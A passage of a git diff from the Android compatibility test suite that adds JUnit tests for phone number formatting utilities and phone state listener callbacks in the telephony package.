+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, nri.getTransportType());
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/cts/PermissionlessVisualVoicemailService.java b/tests/tests/telephony/current/src/android/telephony/cts/PermissionlessVisualVoicemailService.java
similarity index 100%
rename from tests/tests/telephony/src/android/telephony/cts/PermissionlessVisualVoicemailService.java
rename to tests/tests/telephony/current/src/android/telephony/cts/PermissionlessVisualVoicemailService.java
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
new file mode 100644
index 0000000..daf078b
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -0,0 +1,384 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.Contacts;
+import android.provider.Contacts.People;
+import android.telephony.PhoneNumberUtils;
+import android.telephony.TelephonyManager;
+import android.text.Editable;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.SpannableStringBuilder;
+import android.text.style.TtsSpan;
+
+import java.util.Locale;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PhoneNumberUtilsTest {
+    private static final int MIN_MATCH = 7;
+
+    // mPhoneNumber ~ "+17005550020", length == 7.
+    private byte[] mPhoneNumber = { (byte) 0x91, (byte) 0x71, (byte) 0x00, (byte) 0x55,
+            (byte) 0x05, (byte) 0x20, (byte) 0xF0 };
+
+    private int mOldMinMatch;
+
+    @Before
+    public void setUp() throws Exception {
+        mOldMinMatch = PhoneNumberUtils.getMinMatchForTest();
+        PhoneNumberUtils.setMinMatchForTest(MIN_MATCH);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        PhoneNumberUtils.setMinMatchForTest(mOldMinMatch);
+    }
+
+    @Test
+    public void testExtractMethods() {
+
+        // Test extractNetworkPortion
+        assertNull(PhoneNumberUtils.extractNetworkPortion(null));
+        assertEquals("+17005554141", PhoneNumberUtils.extractNetworkPortion("+17005554141"));
+        assertEquals("+17005554141*#N",
+                PhoneNumberUtils.extractNetworkPortion("+1 (700).555-4141*#N"));
+        assertEquals("170055541", PhoneNumberUtils.extractNetworkPortion(
+                String.format("1 (700).555-41%c1234", PhoneNumberUtils.PAUSE)));
+        assertEquals("**21**17005554141#",
+                PhoneNumberUtils.extractNetworkPortion("**21**+17005554141#"));
+
+        // Test extractPostDialPortion
+        assertNull(PhoneNumberUtils.extractPostDialPortion(null));
+        assertEquals("", PhoneNumberUtils.extractPostDialPortion("+17005554141"));
+        assertEquals(String.format("%c1234", PhoneNumberUtils.PAUSE),
+                PhoneNumberUtils.extractPostDialPortion(
+                String.format("+1 (700).555-41NN%c1234", PhoneNumberUtils.PAUSE)));
+        assertEquals(String.format("%c1234", PhoneNumberUtils.WAIT),
+                PhoneNumberUtils.extractPostDialPortion(
+                String.format("+1 (700).555-41NN%c1234", PhoneNumberUtils.WAIT)));
+        assertEquals(String.format("%c1234%c%cN", PhoneNumberUtils.WAIT, PhoneNumberUtils.PAUSE,
+                PhoneNumberUtils.WAIT), PhoneNumberUtils
+                .extractPostDialPortion(
+                        String.format("+1 (700).555-41NN%c1-2.34 %c%cN", PhoneNumberUtils.WAIT,
+                                PhoneNumberUtils.PAUSE,
+                                PhoneNumberUtils.WAIT)));
+    }
+
+    @Test
+    public void testCallMethods() {
+        // Test calledPartyBCDToString
+        assertEquals("+17005550020", PhoneNumberUtils.calledPartyBCDToString(mPhoneNumber, 0, 7));
+
+        // Test toCallerIDMinMatch
+        assertNull(PhoneNumberUtils.toCallerIDMinMatch(null));
+//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("17005554141"));
+//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-4141"));
+//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-4141,1234"));
+//        assertEquals("1414555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-4141;1234"));
+//        assertEquals("NN14555", PhoneNumberUtils.toCallerIDMinMatch("1-700-555-41NN"));
+        assertEquals("", PhoneNumberUtils.toCallerIDMinMatch(""));
+        assertEquals("0032", PhoneNumberUtils.toCallerIDMinMatch("2300"));
+        assertEquals("0032+", PhoneNumberUtils.toCallerIDMinMatch("+2300"));
+        assertEquals("#130#*", PhoneNumberUtils.toCallerIDMinMatch("*#031#"));
+
+        // Test networkPortionToCalledPartyBCD, calledPartyBCDToString
+        byte[] bRet = PhoneNumberUtils.networkPortionToCalledPartyBCD("+17005550020");
+        assertEquals(mPhoneNumber.length, bRet.length);
+        for (int i = 0; i < mPhoneNumber.length; i++) {
+            assertEquals(mPhoneNumber[i], bRet[i]);
+        }
+        bRet = PhoneNumberUtils.networkPortionToCalledPartyBCD("7005550020");
+        assertEquals("7005550020", PhoneNumberUtils.calledPartyBCDToString(bRet, 0, bRet.length));
+
+        // Test calledPartyBCDFragmentToString
+        assertEquals("1917005550020", PhoneNumberUtils.calledPartyBCDFragmentToString(mPhoneNumber,
+                0, 7));
+
+        // Test networkPortionToCalledPartyBCDWithLength
+        bRet = PhoneNumberUtils.networkPortionToCalledPartyBCDWithLength("+17005550020");
+        assertEquals(mPhoneNumber.length + 1, bRet.length);
+        for (int i = 0; i < mPhoneNumber.length; i++) {
+            assertEquals(mPhoneNumber[i], bRet[i + 1]);
+        }
+
+        // Test numberToCalledPartyBCD
+        bRet = PhoneNumberUtils.numberToCalledPartyBCD("+17005550020");
+        assertEquals(mPhoneNumber.length, bRet.length);
+        for (int i = 0; i < mPhoneNumber.length; i++) {
+            assertEquals(mPhoneNumber[i], bRet[i]);
+        }
+    }
+
+    @Test
+    public void testGetMethods() throws RemoteException {
+        // Test getStrippedReversed
+        assertNull(PhoneNumberUtils.getStrippedReversed(null));
+        assertEquals("14145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-4141"));
+        assertEquals("14145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-4141,1234"));
+        assertEquals("14145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-4141;1234"));
+        assertEquals("NN145550071", PhoneNumberUtils.getStrippedReversed("1-700-555-41NN"));
+        assertEquals("", PhoneNumberUtils.getStrippedReversed(""));
+        assertEquals("#130#*+", PhoneNumberUtils.getStrippedReversed("+*#031#"));
+
+        // Test getFormatTypeForLocale
+        int formatType = PhoneNumberUtils.getFormatTypeForLocale(Locale.CHINA);
+        assertEquals(PhoneNumberUtils.FORMAT_UNKNOWN, formatType);
+        formatType = PhoneNumberUtils.getFormatTypeForLocale(Locale.US);
+        assertEquals(PhoneNumberUtils.FORMAT_NANP, formatType);
+        formatType = PhoneNumberUtils.getFormatTypeForLocale(Locale.JAPAN);
+        assertEquals(PhoneNumberUtils.FORMAT_JAPAN, formatType);
+
+        // Test getNumberFromIntent, query nothing, return null.
+        Intent intent = new Intent();
+        intent.setData(Contacts.People.CONTENT_URI);
+        Context context = getContext();
+        assertNull(PhoneNumberUtils.getNumberFromIntent(intent, context));
+
+        intent = new Intent(Intent.ACTION_DIAL, Uri.parse("tel:+18005555555"));
+        assertEquals("+18005555555", PhoneNumberUtils.getNumberFromIntent(intent, getContext()));
+
+        ContentResolver cr = getContext().getContentResolver();
+        Uri personRecord = null;
+        Uri phoneRecord = null;
+        try {
+            // insert a contact with phone number
+            ContentValues values = new ContentValues();
+            values.put(People.NAME, "CTS test contact");
+            personRecord = cr.insert(People.CONTENT_URI, values);
+            Uri phoneUri = Uri.withAppendedPath(personRecord, People.Phones.CONTENT_DIRECTORY);
+            values.clear();
+            values.put(People.Phones.TYPE, People.Phones.TYPE_HOME);
+            values.put(People.Phones.NUMBER, "+18005552871");
+            phoneRecord = cr.insert(phoneUri, values);
+
+            intent = new Intent(Intent.ACTION_DIAL, phoneRecord);
+            assertEquals("+18005552871",
+                    PhoneNumberUtils.getNumberFromIntent(intent, getContext()));
+        } finally {
+            if (personRecord != null) {
+                cr.delete(personRecord, null, null);
+            }
+            if (phoneRecord != null) {
+                cr.delete(phoneRecord, null, null);
+            }
+        }
+    }
+
+    @Test
+    public void testFormatMethods() {
+        // Test formatNanpNumber
+        SpannableStringBuilder builderNumber = new SpannableStringBuilder();
+        builderNumber.append("8005551212");
+        PhoneNumberUtils.formatNanpNumber(builderNumber);
+        assertEquals("800-555-1212", builderNumber.toString());
+        builderNumber.clear();
+        builderNumber.append("800555121");
+        PhoneNumberUtils.formatNanpNumber(builderNumber);
+        assertEquals("800-555-121", builderNumber.toString());
+        builderNumber.clear();
+        builderNumber.append("555-1212");
+        PhoneNumberUtils.formatNanpNumber(builderNumber);
+        assertEquals("555-1212", builderNumber.toString());
+        builderNumber.clear();
+        builderNumber.append("180055512");
+        PhoneNumberUtils.formatNanpNumber(builderNumber);
+        assertEquals("1-800-555-12", builderNumber.toString());
+        builderNumber.clear();
+        builderNumber.append("+180055512");
+        PhoneNumberUtils.formatNanpNumber(builderNumber);
+        assertEquals("+1-800-555-12", builderNumber.toString());
+
+        // Test convertKeypadLettersToDigits
+        assertEquals("1-800-4664-411", PhoneNumberUtils
+                .convertKeypadLettersToDigits("1-800-GOOG-411"));
+        assertEquals("1-800-466-4411", PhoneNumberUtils
+                .convertKeypadLettersToDigits("1-800-466-4411"));
+        assertEquals("222-333-444-555-666-7777-888-9999", PhoneNumberUtils
+                .convertKeypadLettersToDigits("ABC-DEF-GHI-JKL-MNO-PQRS-TUV-WXYZ"));
+        assertEquals("222-333-444-555-666-7777-888-9999", PhoneNumberUtils
+                .convertKeypadLettersToDigits("abc-def-ghi-jkl-mno-pqrs-tuv-wxyz"));
+        assertEquals("(800) 222-3334", PhoneNumberUtils
+                .convertKeypadLettersToDigits("(800) ABC-DEFG"));
+
+        // Test stringFromStringAndTOA
+        assertNull(PhoneNumberUtils.stringFromStringAndTOA(null, 1));
+        assertEquals("+888888888", PhoneNumberUtils.stringFromStringAndTOA("888888888",
+                PhoneNumberUtils.TOA_International));
+
+        // Test formatJapaneseNumber
+        Editable jpEditNumber = Editable.Factory.getInstance().newEditable("0377777777");
+        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
+        assertEquals("03-7777-7777", jpEditNumber.toString());
+        jpEditNumber = Editable.Factory.getInstance().newEditable("09077777777");
+        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
+        assertEquals("090-7777-7777", jpEditNumber.toString());
+        jpEditNumber = Editable.Factory.getInstance().newEditable("0120777777");
+        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
+        assertEquals("0120-777-777", jpEditNumber.toString());
+        jpEditNumber = Editable.Factory.getInstance().newEditable("+81377777777");
+        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
+        assertEquals("+81-3-7777-7777", jpEditNumber.toString());
+        jpEditNumber = Editable.Factory.getInstance().newEditable("+819077777777");
+        PhoneNumberUtils.formatJapaneseNumber(jpEditNumber);
+        assertEquals("+81-90-7777-7777", jpEditNumber.toString());
+
+        // Test formatNumber(String). Only numbers begin with +1 or +81 can be formatted.
+        assertEquals("+1-888-888-888", PhoneNumberUtils.formatNumber("+1888888888"));
+        // Test formatNumber(Editable, int)
+        Editable editNumber = Editable.Factory.getInstance().newEditable("0377777777");
+        PhoneNumberUtils.formatNumber(editNumber, PhoneNumberUtils.FORMAT_UNKNOWN);
+        assertEquals("0377777777", editNumber.toString());
+        editNumber = Editable.Factory.getInstance().newEditable("+177777777");
+        PhoneNumberUtils.formatNumber(editNumber, PhoneNumberUtils.FORMAT_UNKNOWN);
+        assertEquals("+1-777-777-77", editNumber.toString());
+        editNumber = Editable.Factory.getInstance().newEditable("+8177777777");
+        PhoneNumberUtils.formatNumber(editNumber, PhoneNumberUtils.FORMAT_UNKNOWN);
+        assertEquals("+81-77-777-777", editNumber.toString());
+
+        // Test stripSeparators
+        assertEquals("+188888888", PhoneNumberUtils.stripSeparators("+188-888-888"));
+
+        // Test toaFromString
+        assertEquals(PhoneNumberUtils.TOA_International, PhoneNumberUtils
+                .toaFromString("+88888888"));
+        assertEquals(PhoneNumberUtils.TOA_Unknown, PhoneNumberUtils.toaFromString("88888888"));
+    }
+
+    @Test
+    public void testJudgeMethods() {
+        // Test is12Key, isDialable, isISODigit, isReallyDialable, isStartsPostDial
+        for (char c = '0'; c <= '9'; c++) {
+            assertTrue(PhoneNumberUtils.is12Key(c));
+            assertTrue(PhoneNumberUtils.isDialable(c));
+            assertTrue(PhoneNumberUtils.isISODigit(c));
+            assertTrue(PhoneNumberUtils.isNonSeparator(c));
+            assertTrue(PhoneNumberUtils.isReallyDialable(c));
+        }
+        char c = '*';
+        assertTrue(PhoneNumberUtils.is12Key(c));
+        assertTrue(PhoneNumberUtils.isDialable(c));
+        assertTrue(PhoneNumberUtils.isNonSeparator(c));
+        assertTrue(PhoneNumberUtils.isReallyDialable(c));
+        c = '#';
+        assertTrue(PhoneNumberUtils.is12Key(c));
+        assertTrue(PhoneNumberUtils.isDialable(c));
+        assertTrue(PhoneNumberUtils.isNonSeparator(c));
+        assertTrue(PhoneNumberUtils.isReallyDialable(c));
+        c = '$';
+        assertFalse(PhoneNumberUtils.is12Key(c));
+        assertFalse(PhoneNumberUtils.isDialable(c));
+        assertFalse(PhoneNumberUtils.isDialable(c));
+        c = '+';
+        assertTrue(PhoneNumberUtils.isDialable(c));
+        assertFalse(PhoneNumberUtils.isISODigit(c));
+        assertTrue(PhoneNumberUtils.isNonSeparator(c));
+        assertTrue(PhoneNumberUtils.isReallyDialable(c));
+        c = PhoneNumberUtils.WILD;
+        assertTrue(PhoneNumberUtils.isDialable(c));
+        assertTrue(PhoneNumberUtils.isNonSeparator(c));
+        assertFalse(PhoneNumberUtils.isReallyDialable(c));
+        c = PhoneNumberUtils.WAIT;
+        assertTrue(PhoneNumberUtils.isNonSeparator(c));
+        assertTrue(PhoneNumberUtils.isStartsPostDial(c));
+        c = PhoneNumberUtils.PAUSE;
+        assertTrue(PhoneNumberUtils.isNonSeparator(c));
+        assertTrue(PhoneNumberUtils.isStartsPostDial(c));
+        c = '8';
+        assertFalse(PhoneNumberUtils.isStartsPostDial(c));
+
+        // Test isEmergencyNumber, now only know US emergency number
+        TelephonyManager tm = (TelephonyManager)getContext().getSystemService(
+                 Context.TELEPHONY_SERVICE);
+        // Test isEmergencyNumber, now only know US emergency number
+        if ("US".equals(tm.getSimCountryIso())) {
+            assertTrue(PhoneNumberUtils.isEmergencyNumber("911"));
+            assertFalse(PhoneNumberUtils.isEmergencyNumber("119"));
+        }
+
+        // Test isGlobalPhoneNumber
+        assertTrue(PhoneNumberUtils.isGlobalPhoneNumber("+17005554141"));
+        assertFalse(PhoneNumberUtils.isGlobalPhoneNumber("android"));
+
+        // Test isWellFormedSmsAddress
+        assertTrue(PhoneNumberUtils.isWellFormedSmsAddress("+17005554141"));
+        assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
+    }
+
+    @Test
+    public void testGetPhoneTtsSpan() {
+        // Setup: phone number without a country code. Lets keep coverage minimal to avoid
+        // exercising the underlying PhoneNumberUtil or constraining localization changes.
+        String phoneNumber = "6512223333";
+        // Execute
+        TtsSpan ttsSpan = PhoneNumberUtils.createTtsSpan(phoneNumber);
+        // Verify: the created TtsSpan contains the phone number.
+        assertEquals("6512223333", ttsSpan.getArgs().get(TtsSpan.ARG_NUMBER_PARTS));
+    }
+
+    @Test
+    public void testAddPhoneTtsSpan() {
+        // Setup: phone number without a country code. Lets keep coverage minimal to avoid
+        // exercising the underlying PhoneNumberUtil or constraining localization changes.
+        Spannable spannable = new SpannableString("Hello 6502223333");
+        // Execute
+        PhoneNumberUtils.addTtsSpan(spannable, 5, spannable.length());
+        // Verify: the Spannable is annotated with a TtsSpan in the correct location.
+        TtsSpan[] ttsSpans = spannable.getSpans(5, spannable.length() - 1, TtsSpan.class);
+        assertEquals(1, ttsSpans.length);
+        assertEquals("6502223333", ttsSpans[0].getArgs().get(TtsSpan.ARG_NUMBER_PARTS));
+    }
+
+    @Test
+    public void testGetPhoneTtsSpannable() {
+        // Setup: phone number without a country code. Lets keep coverage minimal to avoid
+        // exercising the underlying PhoneNumberUtil or constraining localization changes.
+        CharSequence phoneNumber = "6512223333";
+        // Execute
+        Spannable spannable = (Spannable) PhoneNumberUtils.createTtsSpannable(phoneNumber);
+        // Verify: returned char sequence contains a TtsSpan with the phone number in it
+        TtsSpan[] ttsSpans = spannable.getSpans(0, spannable.length() - 1, TtsSpan.class);
+        assertEquals(1, ttsSpans.length);
+        assertEquals("6512223333", ttsSpans[0].getArgs().get(TtsSpan.ARG_NUMBER_PARTS));
+    }
+
+    @Test
+    public void testFormatNumberToE164() {
+        assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
+        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
+
+        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
+        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
+        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
+        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
new file mode 100644
index 0000000..73e83c4
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -0,0 +1,578 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.os.Looper;
+import android.telephony.CellInfo;
+import android.telephony.CellLocation;
+import android.telephony.PhoneStateListener;
+import android.telephony.ServiceState;
+import android.telephony.SignalStrength;
+import android.telephony.TelephonyManager;
+import android.net.ConnectivityManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.TestThread;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PhoneStateListenerTest {
+
+    public static final long WAIT_TIME = 1000;
+
+    private boolean mOnActiveDataSubscriptionIdChanged;
+    private boolean mOnCallForwardingIndicatorChangedCalled;
+    private boolean mOnCallStateChangedCalled;
+    private boolean mOnCellLocationChangedCalled;
+    private boolean mOnUserMobileDataStateChanged;
+    private boolean mOnDataActivityCalled;
+    private boolean mOnDataConnectionStateChangedCalled;
+    private boolean mOnDataConnectionStateChangedWithNetworkTypeCalled;
+    private boolean mOnMessageWaitingIndicatorChangedCalled;
+    private boolean mOnCellInfoChangedCalled;
+    private boolean mOnServiceStateChangedCalled;
+    private boolean mOnSignalStrengthChangedCalled;
+    private SignalStrength mSignalStrength;
+    private TelephonyManager mTelephonyManager;
+    private PhoneStateListener mListener;
+    private final Object mLock = new Object();
+    private static final String TAG = "android.telephony.cts.PhoneStateListenerTest";
+    private static ConnectivityManager mCm;
+
+    @Before
+    public void setUp() throws Exception {
+        mTelephonyManager =
+                (TelephonyManager)getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mCm = (ConnectivityManager)getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mListener != null) {
+            // unregister the listener
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+        }
+    }
+
+    @Test
+    public void testPhoneStateListener() {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        Looper.prepare();
+        new PhoneStateListener();
+    }
+
+    /*
+     * The tests below rely on the framework to immediately call the installed listener upon
+     * registration. There is no simple way to emulate state changes for testing the listeners.
+     */
+
+    @Test
+    public void testOnServiceStateChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onServiceStateChanged(ServiceState serviceState) {
+                        synchronized(mLock) {
+                            mOnServiceStateChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnServiceStateChangedCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnServiceStateChangedCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnServiceStateChangedCalled);
+    }
+
+    @Test
+    public void testOnSignalStrengthChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onSignalStrengthChanged(int asu) {
+                        synchronized(mLock) {
+                            mOnSignalStrengthChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SIGNAL_STRENGTH);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnSignalStrengthChangedCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnSignalStrengthChangedCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnSignalStrengthChangedCalled);
+    }
+
+    @Test
+    public void testOnSignalStrengthsChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+                        synchronized(mLock) {
+                            mSignalStrength = signalStrength;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SIGNAL_STRENGTHS);
+
+                Looper.loop();
+            }
+        });
+
+        assertTrue(mSignalStrength == null);
+        t.start();
+
+        synchronized (mLock) {
+            while(mSignalStrength == null) {
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mSignalStrength != null);
+
+        // Call SignalStrength methods to make sure they do not throw any exceptions
+        mSignalStrength.getCdmaDbm();
+        mSignalStrength.getCdmaEcio();
+        mSignalStrength.getEvdoDbm();
+        mSignalStrength.getEvdoEcio();
+        mSignalStrength.getEvdoSnr();
+        mSignalStrength.getGsmBitErrorRate();
+        mSignalStrength.getGsmSignalStrength();
+        mSignalStrength.isGsm();
+        mSignalStrength.getLevel();
+    }
+
+    @Test
+    public void testOnMessageWaitingIndicatorChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onMessageWaitingIndicatorChanged(boolean mwi) {
+                        synchronized(mLock) {
+                            mOnMessageWaitingIndicatorChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(
+                        mListener, PhoneStateListener.LISTEN_MESSAGE_WAITING_INDICATOR);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnMessageWaitingIndicatorChangedCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnMessageWaitingIndicatorChangedCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnMessageWaitingIndicatorChangedCalled);
+    }
+
+    @Test
+    public void testOnCallForwardingIndicatorChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            @Override
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onCallForwardingIndicatorChanged(boolean cfi) {
+                        synchronized(mLock) {
+                            mOnCallForwardingIndicatorChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(
+                        mListener, PhoneStateListener.LISTEN_CALL_FORWARDING_INDICATOR);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnCallForwardingIndicatorChangedCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnCallForwardingIndicatorChangedCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnCallForwardingIndicatorChangedCalled);
+    }
+
+    @Test
+    public void testOnCellLocationChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onCellLocationChanged(CellLocation location) {
+                        synchronized(mLock) {
+                            mOnCellLocationChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnCellLocationChangedCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnCellLocationChangedCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnCellLocationChangedCalled);
+    }
+
+    @Test
+    public void testOnCallStateChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onCallStateChanged(int state, String incomingNumber) {
+                        synchronized(mLock) {
+                            mOnCallStateChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CALL_STATE);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnCallStateChangedCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnCallStateChangedCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnCallStateChangedCalled);
+    }
+
+    @Test
+    public void testOnDataConnectionStateChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onDataConnectionStateChanged(int state) {
+                        synchronized(mLock) {
+                            mOnDataConnectionStateChangedCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                    @Override
+                    public void onDataConnectionStateChanged(int state, int networkType) {
+                        synchronized(mLock) {
+                            mOnDataConnectionStateChangedWithNetworkTypeCalled = true;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(
+                        mListener, PhoneStateListener.LISTEN_DATA_CONNECTION_STATE);
+
+                Looper.loop();
+            }
+        });
+
+        assertFalse(mOnDataConnectionStateChangedCalled);
+        assertFalse(mOnDataConnectionStateChangedWithNetworkTypeCalled);
+        t.start();
+
+        synchronized (mLock) {
+            while(!mOnDataConnectionStateChangedCalled ||
+                    !mOnDataConnectionStateChangedWithNetworkTypeCalled){
+                mLock.wait();
+            }
+        }
+        t.checkException();
+        assertTrue(mOnDataConnectionStateChangedCalled);
+        assertTrue(mOnDataConnectionStateChangedWithNetworkTypeCalled);
+    }
+
